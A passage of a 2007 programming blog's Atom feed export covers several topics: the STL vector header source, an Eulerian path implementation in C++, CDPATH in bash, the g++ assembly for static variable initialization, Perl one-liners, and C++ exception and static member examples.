/&gt;      std::__uninitialized_fill_n_a(this-&gt;_M_impl._M_start, __n, __value,&lt;br /&gt;                    _M_get_Tp_allocator());&lt;br /&gt;      this-&gt;_M_impl._M_finish = this-&gt;_M_impl._M_end_of_storage;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;      // Called by the range constructor to implement [23.1.1]/9&lt;br /&gt;      template&lt;typename _InputIterator&gt;&lt;br /&gt;        void&lt;br /&gt;        _M_initialize_dispatch(_InputIterator __first, _InputIterator __last,&lt;br /&gt;                   __false_type)&lt;br /&gt;        {&lt;br /&gt;      typedef typename std::iterator_traits&lt;_InputIterator&gt;::&lt;br /&gt;        iterator_category _IterCategory;&lt;br /&gt;      _M_range_initialize(__first, __last, _IterCategory());&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;      // Called by the second initialize_dispatch above&lt;br /&gt;      template&lt;typename _InputIterator&gt;&lt;br /&gt;        void&lt;br /&gt;        _M_range_initialize(_InputIterator __first,&lt;br /&gt;                _InputIterator __last, std::input_iterator_tag)&lt;br /&gt;        {&lt;br /&gt;      for (; __first != __last; ++__first)&lt;br /&gt;        push_back(*__first);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;      // Called by the second initialize_dispatch above&lt;br /&gt;      template&lt;typename _ForwardIterator&gt;&lt;br /&gt;        void&lt;br /&gt;        _M_range_initialize(_ForwardIterator __first,&lt;br /&gt;                _ForwardIterator __last, std::forward_iterator_tag)&lt;br /&gt;        {&lt;br /&gt;      const size_type __n = std::distance(__first, __last);&lt;br /&gt;      this-&gt;_M_impl._M_start = this-&gt;_M_allocate(__n);&lt;br /&gt;      this-&gt;_M_impl._M_end_of_storage = this-&gt;_M_impl._M_start + __n;&lt;br /&gt;      this-&gt;_M_impl._M_finish =&lt;br /&gt;        std::__uninitialized_copy_a(__first, __last,&lt;br /&gt;                    this-&gt;_M_impl._M_start,&lt;br /&gt;                    _M_get_Tp_allocator());&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      // Internal assign functions follow.  The *_aux functions do the actual&lt;br /&gt;      // assignment work for the range versions.&lt;br /&gt;&lt;br /&gt;      // Called by the range assign to implement [23.1.1]/9&lt;br /&gt;      template&lt;typename _Integer&gt;&lt;br /&gt;        void&lt;br /&gt;        _M_assign_dispatch(_Integer __n, _Integer __val, __true_type)&lt;br /&gt;        {&lt;br /&gt;      _M_fill_assign(static_cast&lt;size_type&gt;(__n),&lt;br /&gt;             static_cast&lt;value_type&gt;(__val));&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;      // Called by the range assign to implement [23.1.1]/9&lt;br /&gt;      template&lt;typename _InputIterator&gt;&lt;br /&gt;        void&lt;br /&gt;        _M_assign_dispatch(_InputIterator __first, _InputIterator __last,&lt;br /&gt;               __false_type)&lt;br /&gt;        {&lt;br /&gt;      typedef typename std::iterator_traits&lt;_InputIterator&gt;::&lt;br /&gt;        iterator_category _IterCategory;&lt;br /&gt;      _M_assign_aux(__first, __last, _IterCategory());&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;      // Called by the second assign_dispatch above&lt;br /&gt;      template&lt;typename _InputIterator&gt;&lt;br /&gt;        void&lt;br /&gt;        _M_assign_aux(_InputIterator __first, _InputIterator __last,&lt;br /&gt;              std::input_iterator_tag);&lt;br /&gt;&lt;br /&gt;      // Called by the second assign_dispatch above&lt;br /&gt;      template&lt;typename _ForwardIterator&gt;&lt;br /&gt;        void&lt;br /&gt;        _M_assign_aux(_ForwardIterator __first, _ForwardIterator __last,&lt;br /&gt;              std::forward_iterator_tag);&lt;br /&gt;&lt;br /&gt;      // Called by assign(n,t), and the range assign when it turns out&lt;br /&gt;      // to be the same thing.&lt;br /&gt;      void&lt;br /&gt;      _M_fill_assign(size_type __n, const value_type&amp; __val);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      // Internal insert functions follow.&lt;br /&gt;&lt;br /&gt;      // Called by the range insert to implement [23.1.1]/9&lt;br /&gt;      template&lt;typename _Integer&gt;&lt;br /&gt;        void&lt;br /&gt;        _M_insert_dispatch(iterator __pos, _Integer __n, _Integer __val,&lt;br /&gt;               __true_type)&lt;br /&gt;        {&lt;br /&gt;      _M_fill_insert(__pos, static_cast&lt;size_type&gt;(__n),&lt;br /&gt;             static_cast&lt;value_type&gt;(__val));&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;      // Called by the range insert to implement [23.1.1]/9&lt;br /&gt;      template&lt;typename _InputIterator&gt;&lt;br /&gt;        void&lt;br /&gt;        _M_insert_dispatch(iterator __pos, _InputIterator __first,&lt;br /&gt;               _InputIterator __last, __false_type)&lt;br /&gt;        {&lt;br /&gt;      typedef typename std::iterator_traits&lt;_InputIterator&gt;::&lt;br /&gt;        iterator_category _IterCategory;&lt;br /&gt;      _M_range_insert(__pos, __first, __last, _IterCategory());&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;      // Called by the second insert_dispatch above&lt;br /&gt;      template&lt;typename _InputIterator&gt;&lt;br /&gt;        void&lt;br /&gt;        _M_range_insert(iterator __pos, _InputIterator __first,&lt;br /&gt;            _InputIterator __last, std::input_iterator_tag);&lt;br /&gt;&lt;br /&gt;      // Called by the second insert_dispatch above&lt;br /&gt;      template&lt;typename _ForwardIterator&gt;&lt;br /&gt;        void&lt;br /&gt;        _M_range_insert(iterator __pos, _ForwardIterator __first,&lt;br /&gt;            _ForwardIterator __last, std::forward_iterator_tag);&lt;br /&gt;&lt;br /&gt;      // Called by insert(p,n,x), and the range insert when it turns out to be&lt;br /&gt;      // the same thing.&lt;br /&gt;      void&lt;br /&gt;      _M_fill_insert(iterator __pos, size_type __n, const value_type&amp; __x);&lt;br /&gt;&lt;br /&gt;      // Called by insert(p,x)&lt;br /&gt;      void&lt;br /&gt;      _M_insert_aux(iterator __position, const value_type&amp; __x);&lt;br /&gt;    };&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  /**&lt;br /&gt;   *  @brief  Vector equality comparison.&lt;br /&gt;   *  @param  x  A %vector.&lt;br /&gt;   *  @param  y  A %vector of the same type as @a x.&lt;br /&gt;   *  @return  True iff the size and elements of the vectors are equal.&lt;br /&gt;   *&lt;br /&gt;   *  This is an equivalence relation.  It is linear in the size of the&lt;br /&gt;   *  vectors.  Vectors are considered equivalent if their sizes are equal,&lt;br /&gt;   *  and if corresponding elements compare equal.&lt;br /&gt;  */&lt;br /&gt;  template&lt;typename _Tp, typename _Alloc&gt;&lt;br /&gt;    inline bool&lt;br /&gt;    operator==(const vector&lt;_Tp, _Alloc&gt;&amp; __x, const vector&lt;_Tp, _Alloc&gt;&amp; __y)&lt;br /&gt;    { return (__x.size() == __y.size()&lt;br /&gt;          &amp;&amp; std::equal(__x.begin(), __x.end(), __y.begin())); }&lt;br /&gt;&lt;br /&gt;  /**&lt;br /&gt;   *  @brief  Vector ordering relation.&lt;br /&gt;   *  @param  x  A %vector.&lt;br /&gt;   *  @param  y  A %vector of the same type as @a x.&lt;br /&gt;   *  @return  True iff @a x is lexicographically less than @a y.&lt;br /&gt;   *&lt;br /&gt;   *  This is a total ordering relation.  It is linear in the size of the&lt;br /&gt;   *  vectors.  The elements must be comparable with @c &lt;.&lt;br /&gt;   *&lt;br /&gt;   *  See std::lexicographical_compare() for how the determination is made.&lt;br /&gt;  */&lt;br /&gt;  template&lt;typename _Tp, typename _Alloc&gt;&lt;br /&gt;    inline bool&lt;br /&gt;    operator&lt;(const vector&lt;_Tp, _Alloc&gt;&amp; __x, const vector&lt;_Tp, _Alloc&gt;&amp; __y)&lt;br /&gt;    { return std::lexicographical_compare(__x.begin(), __x.end(),&lt;br /&gt;                      __y.begin(), __y.end()); }&lt;br /&gt;&lt;br /&gt;  /// Based on operator==&lt;br /&gt;  template&lt;typename _Tp, typename _Alloc&gt;&lt;br /&gt;    inline bool&lt;br /&gt;    operator!=(const vector&lt;_Tp, _Alloc&gt;&amp; __x, const vector&lt;_Tp, _Alloc&gt;&amp; __y)&lt;br /&gt;    { return !(__x == __y); }&lt;br /&gt;&lt;br /&gt;  /// Based on operator&lt;&lt;br /&gt;  template&lt;typename _Tp, typename _Alloc&gt;&lt;br /&gt;    inline bool&lt;br /&gt;    operator&gt;(const vector&lt;_Tp, _Alloc&gt;&amp; __x, const vector&lt;_Tp, _Alloc&gt;&amp; __y)&lt;br /&gt;    { return __y &lt; __x; }&lt;br /&gt;&lt;br /&gt;  /// Based on operator&lt;&lt;br /&gt;  template&lt;typename _Tp, typename _Alloc&gt;&lt;br /&gt;    inline bool&lt;br /&gt;    operator&lt;=(const vector&lt;_Tp, _Alloc&gt;&amp; __x, const vector&lt;_Tp, _Alloc&gt;&amp; __y)&lt;br /&gt;    { return !(__y &lt; __x); }&lt;br /&gt;&lt;br /&gt;  /// Based on operator&lt;&lt;br /&gt;  template&lt;typename _Tp, typename _Alloc&gt;&lt;br /&gt;    inline bool&lt;br /&gt;    operator&gt;=(const vector&lt;_Tp, _Alloc&gt;&amp; __x, const vector&lt;_Tp, _Alloc&gt;&amp; __y)&lt;br /&gt;    { return !(__x &lt; __y); }&lt;br /&gt;&lt;br /&gt;  /// See std::vector::swap().&lt;br /&gt;  template&lt;typename _Tp, typename _Alloc&gt;&lt;br /&gt;    inline void&lt;br /&gt;    swap(vector&lt;_Tp, _Alloc&gt;&amp; __x, vector&lt;_Tp, _Alloc&gt;&amp; __y)&lt;br /&gt;    { __x.swap(__y); }&lt;br /&gt;} // namespace std&lt;br /&gt;&lt;br /&gt;#endif /* _VECTOR_H */&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-8061729657411190604?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/8061729657411190604'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/8061729657411190604'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/06/c-standard-template-library-vector.html' title='C++: The standard template library: vector'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-16302214828523490</id><published>2007-06-18T09:55:00.001-05:00</published><updated>2008-04-01T10:55:53.977-05:00</updated><title type='text'>The Eulerian Path Problem</title><content type='html'>The Euleraian Problem originated from the Seven Bridges of Konigsberg http://en.wikipedia.org/wiki/Seven_Bridges_of_K%C3%B6nigsberg. The abstraction of the problem is to construct an Eulerian Path http://en.wikipedia.org/wiki/Eulerian_path&lt;br /&gt;&lt;br /&gt;Here I implemented an algoirthm based on http://tuxv.blogspot.com/2007/05/eulerian-path.html. The problem with the original solution is that the author seems confused with directed and undirected graph. Essentially, the Eulerian Path solves a problem of a directed graph (although the appearance of the graph may be undirected). The clever discovery here is that an edge can be walked only once thus making it directed when exploring a solution.&lt;br /&gt;&lt;br /&gt;Quote:&lt;br /&gt;Constructing Eulerian paths and cycles&lt;br /&gt;&lt;br /&gt;Consider a graph known to have all edges in the same component and at most two vertices of odd degree. We can construct an Eulerian path (not a cycle) out of this graph by using Fleury's algorithm, which dates to 1883. We start with a vertex of odd degree—if the graph has none, then start with any vertex. At each step we move across an edge whose deletion does not result in more than one connected component, unless we have no choice, then we delete that edge. At the end of the algorithm there are no edges left, and the sequence of edges we moved across forms an Eulerian cycle if the graph has no vertices of odd degree or an Eulerian path if there are two vertices of odd degree.&lt;br /&gt;&lt;br /&gt;The definition of a Hamiltonian path is very similar (a Hamiltonian path visits every vertex exactly once, while an Eulerian path visits every edge exactly once). In practice, however, it is much more difficult to construct a Hamiltonian path or determine whether a graph is Hamiltonian, as that problem is NP-complete&lt;br /&gt;&lt;br /&gt;Following is the C++ source code:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#include &lt; iostream&gt;&lt;br /&gt;#include &lt; vector&gt;&lt;br /&gt;#include &lt; list&gt;&lt;br /&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;#define N 4&lt;br /&gt;/*&lt;br /&gt;int bridges[N][N] = {&lt;br /&gt;    {0, 1, 0, 1},&lt;br /&gt;    {1, 0, 1, 1},&lt;br /&gt;    {0, 1, 0, 1},&lt;br /&gt;    {0, 0, 0, 0},&lt;br /&gt;};&lt;br /&gt;*/&lt;br /&gt;int bridges[N][N] = {&lt;br /&gt;    {0, 1, 0, 1},&lt;br /&gt;    {1, 0, 1, 1},&lt;br /&gt;    {0, 1, 0, 1},&lt;br /&gt;    {0, 0, 1, 0},&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;#define graph bridges&lt;br /&gt;&lt;br /&gt;list&lt; int&gt; path;&lt;br /&gt;&lt;br /&gt;void walk(int src){&lt;br /&gt;    for(int i = 0; i &lt; N; i ++)&lt;br /&gt;        if(graph[src][i]){&lt;br /&gt;            graph[src][i] = 0;&lt;br /&gt;            walk(i);&lt;br /&gt;        }else{&lt;br /&gt;            if(graph[i][src]){&lt;br /&gt;                graph[i][src] = 0;&lt;br /&gt;                walk(i);&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;    path.push_back(src);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main(){&lt;br /&gt;    walk(0);&lt;br /&gt;&lt;br /&gt;    while(!path.empty()){&lt;br /&gt;        cout &lt;&lt; path.back() &lt;&lt; endl;&lt;br /&gt;        path.pop_back();&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;The graph (ajacency-matrix represention) is directed because it's not symmetric (the transpose is not equal to the original matrix). The problem solver has the freedom to choose a direction for an edge. When designing the ajacency-matrix, it's important to observe the rule that one must start from a node with odd degree. Suppose the node is numbered s, and it has 2k+1 degree, then it must have k+1 outgoing edges and k incoming edges.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-16302214828523490?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/16302214828523490'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/16302214828523490'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/06/eulerian-path-problem.html' title='The Eulerian Path Problem'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-3524252813890959364</id><published>2007-06-13T16:34:00.000-05:00</published><updated>2007-06-13T16:44:25.042-05:00</updated><title type='text'>CDPATH in bash</title><content type='html'>What does CDPATH do? It provides a shortcut to bash to change directory. For example, there is&lt;br /&gt;a working directory called&lt;br /&gt;/home/user/abc/efg/hik/lmn/123/456/&lt;br /&gt;under which there are dir1, dir2, dir4..etc&lt;br /&gt;&lt;br /&gt;To change directory, one has to type cd /home/user/abc/efg/hik/lmn/123/456/dir1 to get to dir1. This can be aggravating as one can imagine. CDPATH is a envrionment setting for bash such that one can set it up as export CDPATH=/home/user/abc/efg/hik/lmn/123/456/, next time one just needs to type cd dir1 to get to dir1, so on and so forth.&lt;br /&gt;&lt;br /&gt;However, this setting can interfere with GNU make system. Or any non-interactive script that has cd command inside. It's recommended that one 'unset CDPATH' before 'make' or long hours of head scratching can follow.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-3524252813890959364?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/3524252813890959364'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/3524252813890959364'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/06/cdpath-in-bash.html' title='CDPATH in bash'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-1225920317801378284</id><published>2007-05-23T13:20:00.001-05:00</published><updated>2007-05-23T13:32:26.100-05:00</updated><title type='text'>C++ When is a function static variable initialized?</title><content type='html'>The following code is a rewrite of a singleton implementation presented on clc++ recently:&lt;br /&gt;typedef unsigned int size_t;&lt;br /&gt;class singleton{&lt;br /&gt;    public:&lt;br /&gt;    static singleton&amp; create(){&lt;br /&gt;        static singleton * s = new singleton;&lt;br /&gt;        return *s;&lt;br /&gt;    }&lt;br /&gt;    static int shift(int x){&lt;br /&gt;        static int shift_by = 10;&lt;br /&gt;        x = shift_by + x;&lt;br /&gt;        shift_by = x;&lt;br /&gt;        return x;&lt;br /&gt;    }&lt;br /&gt;    private:&lt;br /&gt;    static void * operator new(size_t size){ }&lt;br /&gt;    singleton(){}&lt;br /&gt;    ~singleton(){}&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;int main(){&lt;br /&gt;    singleton&amp; s = singleton::create();&lt;br /&gt;    int x = 3;&lt;br /&gt;    singleton::shift(x);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;The question was when singleton::create::s was initialized? I immediately thought this code was wrong because in a previous blog entry I have investigated how static variables are initialized inside a function. But at that time, I was investigating plain old data types (POD). &lt;br /&gt;&lt;br /&gt;It turns out, as suggested, C++ has a more complicated scheme to initialize function static variables depending on the variable type, as in §6.7/4. Compiler is free to generate code to initialize the variable on the first possible entry to the function to initialize it. For POD and some types, compiler can, at compile time, initialize the variable on the .bss or .data segment. Let's see what's going on under the hood. Again we'll use the assembly output from g++ to investigate g++ behavior. Check out the symbol table portion of the assembly output of this c++ source file (g++ -s -c file.cpp):&lt;br /&gt;&lt;br /&gt;.LFE11:&lt;br /&gt;        .size   main, .-main&lt;br /&gt;        .weak   _ZGVZN9singleton6createEvE1s&lt;br /&gt;        .section        .bss._ZGVZN9singleton6createEvE1s,"awG",@nobits,_ZGVZN9singleton6createEvE1s,comdat&lt;br /&gt;        .align 8&lt;br /&gt;        .type   _ZGVZN9singleton6createEvE1s, @object&lt;br /&gt;        .size   _ZGVZN9singleton6createEvE1s, 8&lt;br /&gt;_ZGVZN9singleton6createEvE1s:&lt;br /&gt;        .zero   8&lt;br /&gt;        .weak   _ZZN9singleton6createEvE1s&lt;br /&gt;        .section        .bss._ZZN9singleton6createEvE1s,"awG",@nobits,_ZZN9singleton6createEvE1s,comdat&lt;br /&gt;        .align 4&lt;br /&gt;        .type   _ZZN9singleton6createEvE1s, @object&lt;br /&gt;        .size   _ZZN9singleton6createEvE1s, 4&lt;br /&gt;_ZZN9singleton6createEvE1s:&lt;br /&gt;        .zero   4&lt;br /&gt;        .weak   _ZZN9singleton5shiftEiE8shift_by&lt;br /&gt;        .section        .data._ZZN9singleton5shiftEiE8shift_by,"awG",@progbits,_ZZN9singleton5shiftEiE8shift_by,comdat&lt;br /&gt;        .align 4&lt;br /&gt;        .type   _ZZN9singleton5shiftEiE8shift_by, @object&lt;br /&gt;        .size   _ZZN9singleton5shiftEiE8shift_by, 4&lt;br /&gt;_ZZN9singleton5shiftEiE8shift_by:&lt;br /&gt;        .long   10&lt;br /&gt;        .ident  "GCC: (GNU) 4.1.1 20060525 (Red Hat 4.1.1-1)"&lt;br /&gt;        .section        .note.GNU-stack,"",@progbits&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The code for singleton::create:&lt;br /&gt;&lt;br /&gt;_ZN9singleton6createEv:&lt;br /&gt;.LFB2:&lt;br /&gt;        pushl   %ebp&lt;br /&gt;.LCFI6:&lt;br /&gt;        movl    %esp, %ebp&lt;br /&gt;.LCFI7:&lt;br /&gt;        pushl   %ebx&lt;br /&gt;.LCFI8:&lt;br /&gt;        subl    $4, %esp&lt;br /&gt;.LCFI9:&lt;br /&gt;        movl    $_ZGVZN9singleton6createEvE1s, %eax&lt;br /&gt;        movzbl  (%eax), %eax&lt;br /&gt;        testb   %al, %al&lt;br /&gt;        jne     .L8       &lt;------------initialize on demand&lt;br /&gt;        movl    $_ZGVZN9singleton6createEvE1s, (%esp)&lt;br /&gt;        call    __cxa_guard_acquire&lt;br /&gt;        testl   %eax, %eax&lt;br /&gt;        setne   %al&lt;br /&gt;        testb   %al, %al&lt;br /&gt;        je      .L8&lt;br /&gt;        movl    $1, (%esp)&lt;br /&gt;        call    _ZN9singletonnwEj&lt;br /&gt;        movl    %eax, %ebx&lt;br /&gt;        movl    %ebx, (%esp)&lt;br /&gt;        call    _ZN9singletonC1Ev&lt;br /&gt;        movl    %ebx, _ZZN9singleton6createEvE1s&lt;br /&gt;        movl    $_ZGVZN9singleton6createEvE1s, (%esp)&lt;br /&gt;        call    __cxa_guard_release&lt;br /&gt;.L8:&lt;br /&gt;        movl    _ZZN9singleton6createEvE1s, %eax&lt;br /&gt;        addl    $4, %esp&lt;br /&gt;        popl    %ebx&lt;br /&gt;        popl    %ebp&lt;br /&gt;        ret&lt;br /&gt;&lt;br /&gt;assembly for singleton::shift:&lt;br /&gt;&lt;br /&gt;_ZN9singleton5shiftEi:&lt;br /&gt;.LFB3:&lt;br /&gt;        pushl   %ebp&lt;br /&gt;.LCFI0:&lt;br /&gt;        movl    %esp, %ebp&lt;br /&gt;.LCFI1:&lt;br /&gt;        movl    _ZZN9singleton5shiftEiE8shift_by, %eax     &lt;--- already initialized, memory copy&lt;br /&gt;        addl    %eax, 8(%ebp)&lt;br /&gt;        movl    8(%ebp), %eax&lt;br /&gt;        movl    %eax, _ZZN9singleton5shiftEiE8shift_by&lt;br /&gt;        movl    8(%ebp), %eax&lt;br /&gt;        popl    %ebp&lt;br /&gt;        ret&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-1225920317801378284?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1225920317801378284'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1225920317801378284'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/05/c-when-is-function-static-variable.html' title='C++ When is a function static variable initialized?'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-3654379724381524634</id><published>2007-05-17T14:06:00.000-05:00</published><updated>2007-05-17T14:26:05.151-05:00</updated><title type='text'>Perl one liners: Part I</title><content type='html'>Sometimes Perl can be used in mysterious ways yet provides powerful facility to simplify code and&lt;br /&gt;at the same time to improve its efficiency. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;1. &lt;/span&gt;For example, the following code computes the current hour and minute of local time:&lt;br /&gt;&lt;br /&gt;my @time = localtime(time);&lt;br /&gt;my ($hour, $minute) = @time[2, 1];&lt;br /&gt;&lt;br /&gt;To achive one liner, we can use the trick of Perl array copy construct. Array is copied by dereference the reference of original array:&lt;br /&gt;&lt;br /&gt;my ($hour, $minute) = @{[localtime(time)]}[2, 1];&lt;br /&gt;&lt;br /&gt;In both examples, a temporary array is created. &lt;br /&gt;&lt;br /&gt;It's possible to avoid creating temporary array, but only one scalar variable can be retrieved:&lt;br /&gt;&lt;br /&gt;my $hour = [localtime(time)]-&gt;[2];&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;2. &lt;/span&gt;Printing a 2 dimensional array&lt;br /&gt;&lt;br /&gt;my @ar = ([1,2], [3,4], [5, 6]);&lt;br /&gt;&lt;br /&gt;map { print join (', ', @$_); print "\n"; } @ar;&lt;br /&gt;&lt;br /&gt;map is a particular powerful facility in Perl language. Beginners of Perl often found map code hard to understand and use. Do not be afraid. The essen of map is simply applying a code block or expression to every element of a list (usually an array or keys/values of a hash).&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-3654379724381524634?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/3654379724381524634'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/3654379724381524634'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/05/perl-one-liners.html' title='Perl one liners: Part I'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-4972644900079522095</id><published>2007-05-16T14:00:00.000-05:00</published><updated>2007-05-16T14:03:56.652-05:00</updated><title type='text'>C++ Creating custom exception class</title><content type='html'>The following code segment demonstrates how to create a C++ custom exception class. The important  thing to note is that the base exception:what() function has the following signature:&lt;br /&gt;const char * what() const throw() &lt;br /&gt;&lt;br /&gt;Thus to override the base exception::what function, the custom exception class must declare the function signature properly otherwise, it becomes a case of function name hidding as explained in one of the previous C++ articles.&lt;br /&gt;&lt;br /&gt;class Exception : public exception&lt;br /&gt;{&lt;br /&gt;public:&lt;br /&gt; Exception(string m="exception!") : msg(m) {}&lt;br /&gt; ~Exception() throw() {}&lt;br /&gt; const char* what() const throw() { return msg.c_str(); }&lt;br /&gt;&lt;br /&gt;private:&lt;br /&gt; string msg;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt; try&lt;br /&gt; {&lt;br /&gt;  throw Exception();&lt;br /&gt; }&lt;br /&gt; catch(exception&amp; e)&lt;br /&gt; {&lt;br /&gt;  cout &lt;&lt; e.what() &lt;&lt; endl;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;   return 0;&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-4972644900079522095?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/4972644900079522095'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/4972644900079522095'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/05/c-creating-custom-exception-class.html' title='C++ Creating custom exception class'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-7925627897500609702</id><published>2007-05-08T12:51:00.000-05:00</published><updated>2007-05-08T12:52:29.958-05:00</updated><title type='text'>C++: Static class members awes</title><content type='html'>&gt;&gt; I read the following sentence from a c++ website, but can not&lt;br /&gt;&gt;&gt; understand why. can anyone help me with it?&lt;br /&gt;&gt;&gt;&lt;br /&gt;&gt;&gt; "&lt;br /&gt;&gt;&gt; An important detail to keep in mind when debugging or implementing a&lt;br /&gt;&gt;&gt; program using a static class member is that you cannot initialize the&lt;br /&gt;&gt;&gt; static class member inside of the class. In fact, if you decide to put&lt;br /&gt;&gt;&gt; your code in a header file, you cannot even initialize the static&lt;br /&gt;&gt;&gt; variable inside of the header file; do it in a .cpp file instead.&lt;br /&gt;&gt;&gt;&lt;br /&gt;&gt;&gt; "&lt;br /&gt;&gt;&lt;br /&gt;&gt; The Standard requires that every static data member is defined at the&lt;br /&gt;&gt; namespace level.  In order to comply with the One Definition rule, you&lt;br /&gt;&gt; are more likely to succeed if you place the definition of the static&lt;br /&gt;&gt; data member in a .cpp file (instead of a header which can be included&lt;br /&gt;&gt; in more than one translation unit).  Initialisation accompanies the&lt;br /&gt;&gt; definition.  That's why you should initialise static data members in&lt;br /&gt;&gt; a .cpp file (and only in one .cpp file).&lt;br /&gt;&lt;br /&gt;Initialization accompanies definition of a constant except in the case when a declaration of a static constant in a class supplies the initializer, in which case the definition (if any, and then outside the class) is sans initializer.&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;&lt;br /&gt;  struct S&lt;br /&gt;  {&lt;br /&gt;      static int const x = 42;    // Not a definition, per §9.4.2/2.&lt;br /&gt;  };&lt;br /&gt;&lt;br /&gt;If the address of S::x is used, or in the standard's terminology, if S::x is "used", a definition is formally (but with current compilers not necessarily in practice) required, outside the class:&lt;br /&gt;&lt;br /&gt;  int const S::x;    // A definition, per §9.4.2/4.&lt;br /&gt;&lt;br /&gt;This construct is only supported for integral types and/including enum types.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' 